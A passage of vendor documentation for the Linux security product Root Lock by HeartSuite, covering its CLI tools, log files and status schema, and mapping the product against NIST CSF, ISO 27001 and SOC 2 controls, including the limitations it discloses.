Recovery & scripting CLI

For scripting, automation, and recovery scenarios. UI users rarely need these — most have a Dashboard equivalent that handles them automatically.

  • hs-manage-allowlist — CLI tool to browse and edit allowlist entries directly. For advanced workflows and automation. View --help for details.
  • hs-mode-switch — change whether Root Lock by HeartSuite starts in Setup or Lockdown on next boot. The Dashboard’s Lockdown button ([l]) handles this for normal use; this CLI is for scripting and automation. View --help for details.
  • hs-cache-size — set the kernel allowlist cache size (10–255). The Dashboard auto-adjusts this on every refresh; see Adjusting the Cache Size. Use the CLI only for scripting and automation.
  • hs-activate-subscription — activates the server using your Root Lock by HeartSuite subscription. Required before Lockdown can be activated.
  • hs-backup-config-manager — specify directories for automatic file backup (e.g., /home). Only files in designated directories are backed up when modified. Prefer the Dashboard’s Backup ([b]) for directory management.
  • hs-version-manager — restore prior versions of backed-up files. Prefer the Dashboard’s Backup ([b]) for version browsing and restoration. View --help for details.
  • hs-secure-script-launcher-manager — configures interpreter names for Secure Script Launchers. Prefer the Dashboard’s Launchers ([s]) for normal use. View --help for scripting details.
  • hs-clear-logs — manually clears the Root Lock by HeartSuite activity log. In normal operation, the Dashboard auto-clears the log when all review queues are empty, so manual clearing is rarely needed.

Internal / automatic

These run on their own — you do not need to invoke them yourself.

  • activate_HS — turns Root Lock by HeartSuite service on. The installation routine adds a systemd service that runs this automatically at startup.
  • hs-curfew — stops Root Lock by HeartSuite from backing up files before shutdown. A systemd service executes this automatically before shutdown or reboot.
  • hs-unlock-progs — runs automatically as part of HS_unlock.sh. Not invoked directly in normal use.
  • hs-os-boot-setup.py — used internally by Installation during local installation to scan logs and build allowlist entries for startup programs. Not for direct user invocation.
  • init_base_records.sh — used by the installation script to add Linux Standard Base (LSB) programs to allowlist entries. Used only once during Part 1 of installation.
  • HS_startup.sh — runs automatically when the system boots, turning Root Lock by HeartSuite on. The Dashboard’s Maintenance ([m]) edits this file when you change Lockdown re-engagement settings.

Legacy / scripted deployment only

Off the user path. Prefer the Dashboard review tools for any standard workflow.

  • batch_record_add.py — (legacy/advanced) adds programs listed in a file to allowlist entries with basic directory access. Prefer the Dashboard review tools for standard workflows.
  • batch_record_add_read_all.py — (legacy/advanced) adds programs listed in a file to allowlist entries with read access to all files. Use with caution. Prefer the Dashboard review tools.
  • batch_record_add_write_all.py — (legacy/advanced) adds programs listed in a file to allowlist entries with write access to all files. Use with extreme caution. Prefer the Dashboard review tools.

Secure Script Launchers (Phase 3)

Located in /usr/bin (in the default PATH). Configured via the Dashboard’s Launchers ([s]).

  • hs-python-launcher — Secure Script Launcher for Python 3
  • hs-python2-launcher — Secure Script Launcher for Python 2
  • hs-perl-launcher — Secure Script Launcher for Perl
  • hs-php-launcher — Secure Script Launcher for PHP

Log files

These files are written automatically by Root Lock by HeartSuite. They are not tools and require no user invocation.

  • /.hs/sys/HS_log.txt — the on-device activity log. Records program executions, file accesses, and network connection attempts observed during Setup Mode. The Dashboard auto-clears this log when all review queues are empty; hs-clear-logs clears it manually. Not retained across maintenance cycles.

  • /var/log/heartsuite/install.log — written by the installer during updates. Records the steps and outcome of each update bundle application.

  • Dedicated JSONL approval log — persistent record of every allowlist approval action (programs, file paths, network destinations). Each entry includes timestamp, uid, and tty for attribution. This is the primary machine-readable change log for compliance and audit reconstruction.

  • /var/log/heartsuite/ui.log — the rotating application audit log. Captures UI interactions, core events, and errors. Size-capped at approximately 8 MB with automatic rotation; no time-based retention policy.

  • Syslog streams (RFC 5424) — two real-time streams under the heartsuite APP-NAME: a per-decision enforcement stream (one record per kernel allow/deny decision for execution, file access, and network) and a higher-level alert stream (aggregated events such as new_program_blocked). Both are delivered to /dev/log and are the recommended path for SIEM ingestion (Splunk, Elastic, Datadog, QRadar, etc.). A single rsyslog rule can forward the heartsuite ident. See SIEM and Fleet Integration for production configuration examples and guidance.

  • ~/.cache/heartsuite/status.json — system status snapshot updated every 60 seconds. Read-only; used by Ansible, Nagios, Zabbix, and similar tools for automated health checks. Not a log — does not accumulate history.

    FieldTypeNotes
    node_idstringConfigured host identifier
    modestring"Lockdown", "Setup Mode", or "Unknown"
    is_hs_kernelboolWhether the running kernel is the HeartSuite kernel
    lockdownboolWhether Lockdown is currently active
    lockdown_on_bootbool | nullLockdown re-engagement setting; null if unset
    pending_programsintProgrammes awaiting review
    pending_filesintSum of pending read + pending write entries
    pending_networkintNetwork destinations awaiting review
    last_alert_atstringISO 8601 UTC timestamp of last alert, or empty string
    updated_atstringISO 8601 UTC timestamp of last daemon write
    daemon_okboolWhether the HeartSuite daemon is running normally
    channel_errorsobjectOptional — present only when a delivery error has occurred
    email.message / email.atstringLast email delivery error and its timestamp
    syslog.message / syslog.atstringLast syslog delivery error and its timestamp
    webhook.message / webhook.atstringLast webhook delivery error and its timestamp

    For monitoring integrations, lockdown, is_hs_kernel, and daemon_ok are the three fields that together confirm a healthy Lockdown state.

Integration tooling (evaluation and fleet automation)

Production hosts use the installed bundle: CLI tools under /.hs/sys, the limited_tools Python API under /opt/heartsuite, syslog, and status.json. The items below are not installed by heartsuite-install.sh; they are available with coordinated release materials or on request for evaluation and fleet automation work.

  • heartsecurity.root_lock Ansible role — declarative fleet policy application and Lockdown transitions (modelled on linux-system-roles.selinux). See Central Policy Management and External Control. Request the role package from support@heartsecsuite.com if it is not already in your delivery.
  • tools/kibana-bridge/ — optional disposable Docker stack for policy-centric Kibana views during lab evaluation (living allowlist table, KPIs, risk signals, record_hash drift). Complements syslog enforcement streams; not required for production. See SIEM and Fleet Integration. Available on request for evaluation kits.

Kernel CVE coverage

For CVE status entries with full technical rationale and scanner guidance, see Kernel Security Transparency.

18 - Compliance Quick Reference

One-page answers to the most common compliance questions about Root Lock by HeartSuite — for auditors, sales conversations, and internal briefings.

Detailed control mappings are in the Compliance Reference: NIST CSF & ISO 27001 and SOC 2 Control Mapping documents. This page gives direct answers to the questions that come up most often.


What does HeartSuite enforce?

Three gates: execution (default-deny binary allowlist), file access (per-programme path restrictions), and network (per-programme outbound IPv4/IPv6 allowlist). All three override root privilege.


What does Lockdown seal?

Authentication files (/etc/passwd, /etc/shadow), SSH configuration, systemd units, sudo policy, cron/anacron, /usr/lib/, and HeartSuite’s own configuration and kernel image directory — plus file backup snapshots (no programme, including root, can access them at runtime).

These are the paths sealed by default. During maintenance on the maintenance kernel, temporary “write” grants may be shown for some of them so tools can function; the grants disappear once you return to Lockdown. See Mode Switching and Lockdown for the full list and behaviour.


What is HeartSuite’s primary NIST CSF function?

Protect. It makes partial contributions to Identify (software inventory via the allowlisting workflow), Detect (denial-event logging and alerting), and Recover (per-write file versioning). It does not cover Respond.


Which ISO 27001:2022 Annex A areas are primary strengths?

A.8 (Technological Controls) — particularly A.8.2, A.8.3, A.8.7, A.8.9, A.8.13, A.8.15, A.8.19. Also A.5.15 and A.5.23 (partially).


What is explicitly not covered?

  • A.6 — all People Controls (personnel screening, training, separation of duties)
  • A.7 — Physical Controls (HeartSuite depends on physical security; it does not provide it)
  • Threat intelligence, SIEM, anomaly detection, RBAC within the Dashboard, vulnerability scanning, data encryption, NTP synchronisation, offsite backup

What is the cloud serial-console bypass risk?

HeartSuite installs agetty autologin on /dev/ttyS0. Cloud providers’ out-of-band serial consoles (AWS EC2 Serial Console, GCP serial port, Azure Serial Console, DigitalOcean Console) give the same bypass path as physical keyboard access. Restricting serial console access is a customer-side cloud IAM responsibility.


What are the logging retention limits?

/.hs/sys/HS_log.txt is cleared on each maintenance cycle. /var/log/heartsuite/ui.log is capped at approximately 8 MB with no time-based retention policy. There is no tamper-evident off-host log — the syslog streams are the mechanism for audit-period-length evidence (SOC 2 Type II, ISO 27001 surveillance).


What audit logging and SIEM integration does HeartSuite provide?

Root Lock by HeartSuite includes SOC 2-aligned audit logging and SIEM integration so security teams and auditors have a complete, attributable record of what happened. Every allowlist approval (programs, file paths, network destinations) is written to a dedicated, persistent JSONL audit log with timestamp, uid, and tty. All kernel enforcement decisions are streamed in real time as structured RFC 5424 syslog for direct ingestion into Splunk, Elastic, Datadog, QRadar, and similar platforms — separate from higher-level alerts. An always-on rotating application audit log captures UI and core events. Lockdown advisories are verdict-driven and provenance-gated for high-signal auditability.


What is the Dashboard access control model?

No RBAC. Every Linux root user has identical, unrestricted access to all Dashboard functions. There is no operator/administrator distinction and no per-user audit attribution within HeartSuite. Attributing actions to named individuals requires customer-side controls: sudoers policy, a privileged access management tool, or bastion host session recording.


What is the network allowlist limitation?

Literal IPv4/IPv6 addresses only — no CIDR notation, no DNS-based rules. Inbound connection filtering is out of scope; customer-side OS firewall (iptables, nftables) or cloud security groups are the required complementary control.


What is the signing and integrity status of update bundles?

SHA-256 checksum only. There is no GPG or PGP signature verifying the bundle’s origin against a HeartSuite-controlled signing key. Authenticity depends on retrieving the bundle over HTTPS from the HeartSuite distribution endpoint.

19 - Compliance Reference: NIST CSF & ISO 27001

How Root Lock by HeartSuite maps to NIST Cybersecurity Framework and ISO 27001:2022 Annex A controls.

This document maps Root Lock by HeartSuite capabilities to the NIST Cybersecurity Framework (CSF) and ISO 27001:2022 Annex A controls. It is intended for compliance officers, auditors, and security staff evaluating where HeartSuite contributes to an organisation’s compliance posture and where complementary controls are required.

HeartSuite is a preventive enforcement layer, not a comprehensive compliance platform. It addresses a specific, high-value problem: enforcing a default-deny execution, file-access, and network policy at kernel level — one that survives root compromise. This document clarifies what that means for your compliance programme and what questions remain open.

For SOC 2 Trust Services Criteria mapping, see the SOC 2 Control Mapping document.


What HeartSuite Enforces

HeartSuite operates through three enforcement gates, applied per programme, not per user or per privilege level.

GateWhat it controls
ExecutionA programme must be explicitly allowlisted to execute. Unapproved binaries are blocked even for root.
File accessEach approved programme can only read or write paths explicitly permitted in its allowlist entry.
Network accessEach approved programme can only connect to specific IPv4/IPv6 addresses. All other outbound connections are blocked.

Two modes govern behaviour: Setup Mode (log and review, no blocking) and Lockdown (enforcement active, configuration sealed with filesystem immutability flags that root cannot clear at runtime).

Under Lockdown, kernel-level immutability also protects: authentication files (/etc/passwd, /etc/shadow), SSH configuration, systemd units, sudo policy, scheduled tasks (cron/anacron), system libraries (/usr/lib/), and HeartSuite’s own configuration and kernel image directory.

File Backup & Versioning takes an automatic snapshot on every write to designated directories (default: /home). Under Lockdown the kernel prevents any programme, including root, from accessing those backups.


NIST Cybersecurity Framework Coverage

Function: Identify

HeartSuite contributes to asset visibility through its programme allowlisting workflow. During Setup Mode, all programme execution attempts are logged and surfaced in the Dashboard review queues with package metadata (name, version, install date, maintainer). This forms a working inventory of executable software on the host.

What is not covered: HeartSuite does not produce a hardware asset inventory, does not integrate with a configuration management database (CMDB) via an inbound API, and does not aggregate inventory across a fleet on its own. The inventory it produces is per-host and lives in the Dashboard; export to asset management tooling and fleet aggregation is achieved via the syslog streams, status.json, dedicated JSONL approval log, and harvest of allowlist state into your SIEM or central systems (see Central Policy Management and External Control).

Relevant CSF categories: ID.AM-1, ID.AM-2 (partially)

Function: Protect

This is HeartSuite’s primary contribution.

CSF CategoryHeartSuite mechanism
PR.AC-1 — Identity and credential managementImmutable seal protects /etc/passwd, /etc/shadow, /etc/group; no programme can modify authentication state at runtime under Lockdown.
PR.AC-3 — Remote access managementNetwork allowlist controls outbound connection destinations per programme; inbound access is not managed.
PR.AC-4 — Access control, least privilegePer-programme execution and file-access allowlists enforce least-privilege at the enforcement layer, overriding user and root privilege.
PR.AC-5 — Network integrityNetwork allowlist restricts each programme to approved destinations; unapproved outbound connections are blocked at the kernel socket layer.
PR.DS-1 — Data-at-rest protectionFile versioning backups are sealed by the kernel under Lockdown; no programme (including root) can delete or alter backup copies at runtime.
PR.DS-5 — Protection against data leaksOutbound network allowlist limits exfiltration paths; programmes cannot reach unapproved destinations.
PR.IP-1 — Baseline configurationAllowlist and immutability together constitute an enforced configuration baseline. No configuration change is possible at runtime without a maintenance window that requires rebooting to a non-HeartSuite kernel.
PR.IP-12 — Vulnerability managementHeartSuite reduces the exploitable blast radius: approved programme CVEs with network or file-access exploitation paths are constrained by allowlist boundaries.
PR.MA-2 — Remote maintenanceMaintenance windows are structured: requires kernel reboot, checklist-guided steps, and Dashboard review of all new activity before re-engaging Lockdown.
PR.PT-1 — Audit log protectionUnder Lockdown, immutability flags protect log files; the kernel prevents attribute changes that would allow log deletion.
PR.PT-3 — Principle of least functionalityLockdown disables editors, restricts rm/cp/mv, and seals scheduled-task files, enforcing a minimal-function runtime posture.

Function: Detect

HeartSuite generates alerts for denial events: new programme blocked, network burst to unapproved destination, critical file modification outside a maintenance window, mode switches, and Lockdown state changes. Alerts are delivered via email, syslog, webhook, and a passive status JSON endpoint.

This is reactive logging on policy violations, not behavioural detection. HeartSuite does not perform anomaly detection, baseline comparison, heuristic analysis, or threat-intelligence enrichment.

Relevant CSF categories: DE.CM-1, DE.CM-7 (partially). DE.AE (anomaly and event analysis) is not addressed.

Function: Respond

HeartSuite does not automate incident response. The Dashboard provides a Maintenance section that guides recovery steps, and File Backup & Versioning enables file-level recovery. Beyond this, response is manual.

Relevant CSF categories: RS.CO, RS.AN, RS.MI — not meaningfully covered.

Function: Recover

File Backup & Versioning provides per-write timestamped, hash-deduplicated snapshots sealed from runtime interference. This supports recovery from ransomware-style overwrites and accidental deletion within the backup scope.

Relevant CSF categories: RC.RP-1 (partially). Fleet-wide recovery plans, backup-to-offsite, and recovery-time objectives are not defined by HeartSuite.


ISO 27001:2022 Annex A Coverage

A.5: Organisational Controls

ControlHeartSuite contribution
A.5.7 — Threat intelligenceNot covered. HeartSuite has no threat feed integration.
A.5.15 — Access controlKernel-enforced per-programme access control, overriding user and root privilege. Supports enforcement of an access control policy.
A.5.22 — Monitoring, review and change management of supplier servicesHeartSuite has conducted a rigorous internal security audit covering 42 formally evidenced properties across multiple scenario categories. No independent third-party engagement has been commissioned. HeartSuite is not submitted to NCSC CPA, NIAP, or Common Criteria evaluation. Several kernel hardening choices (CONFIG_BPF_SYSCALL=n, CONFIG_KEXEC_FILE=n, removal of eBPF verifier exposure, chattr-based immutability) align with the attack-surface-reduction objectives of Common Criteria Protection Profiles, but the certification process has not been initiated.
A.5.23 — ICT supply chain securityPartially. HeartSuite blocks new or modified binaries at the execution gate, preventing a trojanised update from running unless it replaces an already-allowlisted binary with identical path.
A.5.28 — Collection of evidencePer-decision enforcement stream, dedicated JSONL approval log (with uid/tty attribution), rotating application audit log, and Dashboard records constitute attributable evidence of both policy changes and enforcement decisions. Export to SIEM is the path for long-term retention and fleet correlation.
A.5.29 — Information security during disruptionNot covered. No continuity or DR controls.
A.5.30 — ICT readiness for business continuityNot covered.

A.6 — People Controls

Not covered. HeartSuite has no personnel management, background check, training, or separation-of-duties features. Separation of duties at the access-control layer is partially supported (per-programme file access limits what any individual programme can reach), but organisational duty separation is out of scope.

HeartSuite does not implement role-based access control within the Dashboard. Every user with Linux root access has identical, unrestricted access to all Dashboard functions: allowlist approval, Lockdown activation and deactivation, alert configuration, log clearing, and maintenance mode. There is no operator/administrator distinction, no per-function permission check, and no audit trail that distinguishes one root user’s actions from another. Restricting which personnel can reach root — and attributing their actions to individuals — requires customer-side controls: sudoers policy, a privileged access management tool, or bastion host session recording.

A.7 — Physical Controls

Not covered. HeartSuite’s Lockdown state requires physical access to bypass (reboot to a non-HeartSuite kernel to clear immutability flags). This means physical security of the host is a dependency, not a capability HeartSuite provides.

In cloud deployments, the cloud provider’s out-of-band serial console (AWS EC2 Serial Console, GCP serial port, Azure Serial Console, DigitalOcean Console) provides the same bypass path as physical keyboard access. HeartSuite installs agetty autologin on /dev/ttyS0; restricting serial console access in the cloud provider’s IAM is therefore a customer-side dependency that must be addressed to maintain the integrity of Lockdown’s protection model.

A.8 — Technological Controls

ControlHeartSuite contribution
A.8.2 — Privileged access rightsImmutable seal and per-programme enforcement override root privilege at runtime. Root cannot execute new binaries, modify sealed files, or clear Lockdown state. Dashboard access requires Linux root credentials; no additional authentication layer exists within HeartSuite. Every allowlist approval action is recorded with a timestamp and TTY in /var/log/heartsuite/ui.log; attributing TTY sessions to named personnel requires customer-side session logging (auditd or a PAM tool).
A.8.3 — Information access restrictionPer-programme file-access allowlist restricts which paths each programme can read or write.
A.8.4 — Access to source codeNot covered natively; HeartSuite does not distinguish source code files. File-access allowlists can be configured to restrict access to specific paths.
A.8.5 — Secure authenticationImmutable seal protects /etc/passwd, /etc/shadow, and SSH configuration from runtime modification. HeartSuite does not provide authentication mechanisms itself.
A.8.7 — Protection against malwareDefault-deny execution allowlist prevents unauthorised binaries from running. No signature-based or behavioural malware detection.
A.8.8 — Management of technical vulnerabilitiesNot covered. HeartSuite constrains the impact of unpatched vulnerabilities via allowlist boundaries but does not scan for, report on, or remediate them.
A.8.9 — Configuration managementAllowlist plus Lockdown constitutes an enforced configuration state. No change is possible at runtime without a documented maintenance window. Dashboard records all approvals. The allowlist is managed per-host; there is no built-in inbound remote management interface or multi-host push mechanism from a HeartSuite server. Policy is applied per-host by your automation (Ansible, Terraform + GitOps, ServiceNow, custom CM, etc.) with rich exports (status.json, dedicated JSONL approval log with uid/tty attribution, structured syslog, webhook) for central consumption and drift detection. See Central Policy Management and External Control. Revoking a compromised allowlist entry requires a maintenance window — no emergency revocation path exists while Lockdown is active. Boot-path integrity: CONFIG_IMA is not set (Integrity Measurement Architecture disabled) and CONFIG_KEXEC_FILE is not set (signed-image kexec variant compiled out). The kernel image directory is sealed under Lockdown via chattr +i, but there is no Secure Boot enforcement, no shim, and no IMA measurement log.
A.8.10 — Information deletionNot covered. HeartSuite’s restricted rm under Lockdown limits accidental deletion but has no secure-deletion or data-retention controls.
A.8.11 — Data maskingNot covered.
A.8.12 — Data leakage preventionPartially. Network allowlist prevents outbound connections to unapproved destinations; it does not inspect the content of approved connections.
A.8.13 — Information backupFile Backup & Versioning provides automatic per-write versioned snapshots, kernel-sealed from runtime interference. Backup files are versioned filesystem copies with no encryption at the HeartSuite layer; for data-at-rest requirements (GDPR, HIPAA, PCI DSS), disk-level encryption (dm-crypt/LUKS) must be configured at the OS level. No offsite copy capability.
A.8.15 — LoggingKernel emits a per-decision enforcement stream (every execution, file access, and network decision) and a separate higher-level alert stream as structured RFC 5424 syslog under the heartsuite APP-NAME. Every allowlist approval is written to a dedicated, persistent JSONL log with timestamp, uid, and tty. An always-on rotating application audit log captures UI and core events. On-device activity buffers are cleared on maintenance; the syslog streams and dedicated JSONL approval log are the mechanisms for audit-period retention and reconstruction. Lockdown advisories are verdict-driven with provenance to the underlying records.
A.8.16 — Monitoring activitiesAlert triggers deliver denial events to email, syslog, webhook, or passive status endpoint (~/.cache/heartsuite/status.json, updated every 60 seconds — see schema below). The Fleet tab in Alert Settings configures a node_id, syslog server, and webhook URL; it is a one-way outbound push channel only. There is no built-in inbound API or remote allowlist control from HeartSuite itself. Central policy application and fleet-wide views are achieved by driving the per-host CLI tools (hs-manage-allowlist, batch tools) from your automation and consuming the syslog streams, JSONL approval log, status.json, and webhook into your SIEM / CMDB / orchestration layer. See Central Policy Management and External Control. No fleet-wide or behavioural monitoring inside HeartSuite.
A.8.17 — Clock synchronisationNot covered. HeartSuite does not manage NTP or clock state.
A.8.18 — Use of privileged utility programmesUnder Lockdown, privileged tools (editors, module loaders, file operation utilities) are sealed. Kernel-module hardening documentation covers kmod allowlisting.
A.8.19 — Installation of software on operational systemsPer-programme execution allowlist enforces “approved programmes only.” New software cannot execute until it has been reviewed and approved through the Dashboard.
A.8.20 — Networks securityPer-programme network allowlist controls outbound connections using literal IPv4/IPv6 addresses only; CIDR notation and DNS-based rules are not supported. Inbound connection monitoring is not provided; inbound filtering is a customer-side responsibility via OS firewall (iptables, nftables) or cloud security groups. VLAN segregation and firewall policy are out of scope.
A.8.22 — Segregation of networksNetwork allowlist controls which programmes reach which destinations. This is host-level segregation, not network-layer segregation.
A.8.23 — Web filteringNot covered. HeartSuite filters by destination IP, not URL or content category.
A.8.24 — Use of cryptographyNo native encryption. HeartSuite configuration files (allowlist, mode state) are sealed by filesystem immutability flags but are not encrypted; they can be read from disk on a maintenance kernel boot. Backup snapshots are also unencrypted at the HeartSuite layer. OS-level disk encryption (dm-crypt/LUKS) is the required complementary control for data-at-rest compliance.
A.8.28 — Secure codingNot covered. HeartSuite does not inspect code or enforce secure development practices.
A.8.29 — Security testing in development and productionNot covered.
A.8.30 — Outsourced developmentNot covered.
A.8.32 — Change managementMaintenance window workflow provides a structured, logged change process. All newly executed programmes and file-access paths appear in Dashboard review queues before Lockdown can be re-engaged.
A.8.33 — Test informationNot covered.
A.8.34 — Protection of information systems during audit testingNot directly covered. Immutable Lockdown state protects system integrity during audit activities.

hs-status.json field reference

Written to ~/.cache/heartsuite/status.json every 60 seconds by the HeartSuite daemon. Read-only; does not accumulate history.

FieldTypeNotes
node_idstringConfigured host identifier
modestring"Lockdown", "Setup Mode", or "Unknown"
is_hs_kernelboolWhether the running kernel is the HeartSuite kernel
lockdownboolWhether Lockdown is currently active
lockdown_on_bootbool | nullLockdown re-engagement setting; null if unset
pending_programsintProgrammes awaiting review
pending_filesintSum of pending_file_r + pending_file_w
pending_networkintNetwork destinations awaiting review
last_alert_atstringISO 8601 UTC timestamp of last alert, or empty string
updated_atstringISO 8601 UTC timestamp of last daemon write
daemon_okboolWhether the HeartSuite daemon is running normally
channel_errorsobjectOptional — present only when the daemon passes an AlertState with errors
email.message / email.atstringLast email delivery error and its timestamp
syslog.message / syslog.atstringLast syslog delivery error and its timestamp
webhook.message / webhook.atstringLast webhook delivery error and its timestamp

For Nagios/Zabbix/Ansible polling, lockdown, is_hs_kernel, and daemon_ok are the three fields that constitute a healthy Lockdown state.


Open Questions

The following 11 questions remain without a complete public answer. Status annotations indicate how close each is to being closeable.

Evidence & Attestation

  1. Can HeartSuite export a signed compliance evidence package — a machine-readable record of the current allowlist, Lockdown state, and alert history — for submission to an auditor or GRC platform?

  2. Does HeartSuite generate a time-stamped attestation of continuous Lockdown state? hs-status.json reflects current state only; the daemon’s reboot history records reboots, not continuous Lockdown state. There is no historical attestation record.

Access Control & Identity

  1. How does HeartSuite interact with PAM, LDAP, or Active Directory? No HeartSuite code calls PAM, LDAP, or any directory service. Regulated environments requiring centralised identity management must bridge this at the OS layer.

Vulnerability & Patch Management

  1. How does HeartSuite handle kernel CVEs in its own kernel build? (Mostly answerable in public docs.) Active kernel maintenance is evidenced by the 5.19.6 → 6.18 LTS port. Public patch targets by severity, notification channels, and version-string semantics are in the Kernel Support Policy. Scanner and audit workflows are in CVE Hygiene for Scanners. Binding SLAs remain in the subscription agreement; OVAL/OSV feeds and GPG-signed bundles are not yet generally available.

  2. Is there a published SBOM for the HeartSuite kernel and Dashboard components? (Partially answerable.) SPDX/CycloneDX SBOM and GPG/cosign bundle signing are on the public roadmap; today bundles use SHA-256 only. See Supply Chain and Advisory Feeds and Evidence Status.

  3. What is HeartSuite’s vulnerability disclosure and response programme? (Organisational — not in the product.) Customers need a responsible disclosure policy and CVE numbering authority (CNA) status for ISO 27001 A.5.22 procurement assessments.

Incident Response & Recovery

  1. What is the documented RTO for restoring a Lockdown host after a security incident? Recovery requires a minimum three-step, two-reboot sequence with manual Dashboard queue review. No time estimate is defined; duration is queue-dependent. There is no fast path.

  2. Can HeartSuite backups be restored to a different host? The restore mechanism is local-only. There is no export, archive, or transfer capability; cross-host restore is architecturally absent.

  3. How are HeartSuite security incidents (in the product itself) disclosed to customers? (Organisational — not in the product.) ISO 27001 A.5.24 requires a defined customer notification process for product-level events.

Scalability & Fleet Management

  1. What does the licensing model look like at scale? (Organisational — not in the product.) No pricing tiers, volume discount structures, or MSP terms are publicly documented.

Compliance Certifications

  1. Does HeartSuite map to sector-specific compliance frameworks — PCI DSS, HIPAA, NIS2, DORA, CMMC? (Derivable without new research.) The evidence base is the same as the NIST CSF and ISO 27001 mappings in this document. PCI DSS Req 7 (least privilege) and Req 10 (log integrity), HIPAA §164.312(a) (access controls) and §164.312(b) (audit controls), and NIS2/CMMC controls that derive from NIST 800-171 all map directly to controls already described here. This is a document task, not an investigation.

Cloud Shared-Responsibility Matrix

When Root Lock by HeartSuite runs as a guest VM on a cloud platform, responsibility for controls is split across three parties.

Control layerHeartSuiteCloud providerCustomer
Kernel-level execution enforcementPrimary
Per-programme file access controlPrimary
Outbound network allowlistPrimary
Configuration immutability (Lockdown)Primary
File backup & versioningPrimaryOffsite / encrypted copy for DR
Hypervisor and host hardware securityPrimary
Physical data centre securityPrimary
Network infrastructure (VPC, routing)Primary
Serial / out-of-band console access controlInstalls agetty autologin on /dev/ttyS0Provides console (AWS EC2 Serial Console, GCP serial port, Azure Serial Console)Must restrict console access via cloud IAM
Inbound firewall / security groupsProvides capabilityCustomer configures
Disk encryption at restProvides capability (EBS encryption, etc.)Customer enables; LUKS recommended
Identity & access managementProvides IAMCustomer configures; controls who reaches root and serial console
OS-level audit logging (login, sudo)Customer configures (auditd, CloudTrail)
SIEM / log retention beyond deviceCustomer operates
Vulnerability scanningCustomer operates
Incident response programmeCustomer defines

The most operationally significant customer responsibility in cloud deployments is restricting serial console access. HeartSuite installs agetty autologin on /dev/ttyS0, meaning anyone who can reach the cloud provider’s out-of-band serial console can boot to the maintenance kernel without further authentication from HeartSuite. Restricting serial console access at the cloud provider IAM layer is the control that preserves Lockdown’s protection model in cloud environments.


How HeartSuite Fits Into a Compliance Programme

HeartSuite addresses a narrow but high-value control: kernel-enforced, root-resistant mandatory access control. It does not replace the controls listed below, and a compliance programme relying on HeartSuite alone will have significant gaps.

LayerHeartSuite roleComplementary tool required
Execution controlPrimary control
File access controlPrimary control
Outbound network controlPrimary controlFirewall / NAC for inbound
Configuration immutabilityPrimary control
File backup & recoveryPrimary controlOffsite / encrypted backup for DR
Fleet-wide loggingPer-decision enforcement stream + dedicated JSONL approval log + rotating audit log (on-host); direct RFC 5424 syslog export; status.json and allowlist harvest for policy stateSIEM (Splunk, Sentinel, Elastic, Datadog, QRadar) plus your central automation / GitOps / ITSM for retention, correlation, cross-host views, and policy reconciliation
Behavioural detectionNoneNDR / EDR
Vulnerability managementNoneScanner (Nessus, Qualys, Wiz)
Identity & access managementNoneIAM / PAM platform
Data encryptionNoneLUKS, TLS, application-layer encryption
Personnel & training controlsNoneHRMS / LMS / GRC platform
Supplier managementNoneGRC / vendor risk management

For a NIST CSF or ISO 27001 programme, HeartSuite contributes most directly to the Protect function and ISO 27001 A.8 (Technological Controls), with meaningful but partial contributions to logging, monitoring, and recovery.

20 - SOC 2 Control Mapping

Root Lock by HeartSuite mapped to AICPA Trust Services Criteria (TSC) for SOC 2 Type I and Type II audits.

Purpose: This document maps Root Lock by HeartSuite product capabilities to the AICPA Trust Services Criteria (TSC) used in SOC 2 audits. It is written for use by HeartSuite customers preparing for SOC 2 Type I or Type II audits, and as a reference document to hand to auditors.

Each criterion entry includes: the control requirement, how HeartSuite satisfies it, where it does not, and what evidence an auditor should request. The dedicated JSONL approval log, per-decision enforcement syslog stream, and rotating application audit log are described in the logging and change-management sections below and are the primary artifacts for reconstructing allowlist changes and enforcement decisions.


Table of contents


How to use this document

Root Lock by HeartSuite is deployed on Linux servers to enforce a default-deny security policy at the kernel level. It is a technical control your organization operates. In a SOC 2 audit:

  • HeartSuite satisfies specific sub-criteria as a technical control in your control environment.
  • You still need organizational controls (policies, procedures, access reviews, training) alongside it.
  • Evidence artifacts listed here are those your auditor can observe, request logs of, or inspect directly on the system.

CC6 — Logical and physical access controls

CC6.1 — Logical access security: Restricting access to information assets

Control requirement: The entity implements logical access security measures to restrict access to information assets to authorized users.

How HeartSuite satisfies this:

Root Lock by HeartSuite controls, per program, which programs can execute, which files they can read or write, and which network destinations they can connect to — independently of which user account runs them, including root. In Lockdown, every program must have an explicit allowlist entry before the kernel will permit it to execute, read or write files, or make outbound network connections.

The three dimensions of per-program access control:

DimensionHeartSuite mechanism
Program executionIn Lockdown, the kernel refuses execve() for any program not in the allowlist
File accessPer-program read and write permissions; read and write approved separately
Network accessPer-program, per-destination IPv4/IPv6 allowlist; no CIDR ranges, hostnames, or wildcards

Access permissions are built during Setup Mode via the Dashboard’s review queues, where each program’s execution, file access, and network access is presented for explicit human approval before Lockdown is activated.

Under Lockdown, the allowlist is sealed using filesystem immutability (chattr +i) and the running kernel refuses any modification to it — including from root. No program or user can extend access permissions at runtime.

Scope: Every allowlist approval action (programs, file paths, network destinations) is recorded in a dedicated, persistent JSONL approval log with timestamp, uid, and tty. This provides direct session attribution for changes to the policy. In environments where multiple administrators share root access, uid/tty-to-person attribution still requires correlating against customer-side session records (terminal session logging via auditd, a privileged access management tool, or equivalent). Dashboard access requires Linux root credentials; there is no additional authentication layer within HeartSuite.

Evidence artifacts:

  • Dashboard allowlist export (Programs, File Access, Internet Access queues)
  • Dedicated JSONL approval log showing timestamp, uid, tty, and entry details for each approval action
  • Lockdown status screenshot showing “Applied”
  • hs-manage-allowlist list output showing per-program permissions
  • Demonstration that a non-allowlisted program cannot execute while Lockdown is active

CC6.3 — Role-based access control

Control requirement: The entity restricts access to information assets based on job responsibilities.

How HeartSuite addresses this:

HeartSuite does not implement role-based access control within the Dashboard. Every user with Linux root access has identical, unrestricted access to all Dashboard functions: allowlist approval, Lockdown activation and deactivation, alert configuration, log clearing, and maintenance mode. There is no operator/administrator distinction, no per-function permission check, and no audit trail distinguishing one root user’s actions from another.

CC6.3 is an organizational control for this product. Restricting which personnel can reach root — and attributing their actions — requires customer-side controls: sudoers policy, a privileged access management tool, bastion host session recording, or equivalent.

Evidence artifacts:

  • sudoers policy or PAM configuration showing which users can execute which HeartSuite commands
  • Privileged access management records (bastion logs, PAM session records, or equivalent)
  • Documentation of which personnel hold root access and under what job function

CC6.6 — Logical access controls for infrastructure: Restricting privileged access

Control requirement: Logical access security measures restrict access to infrastructure, including operating system configurations, network configurations, and authentication databases.

How HeartSuite satisfies this:

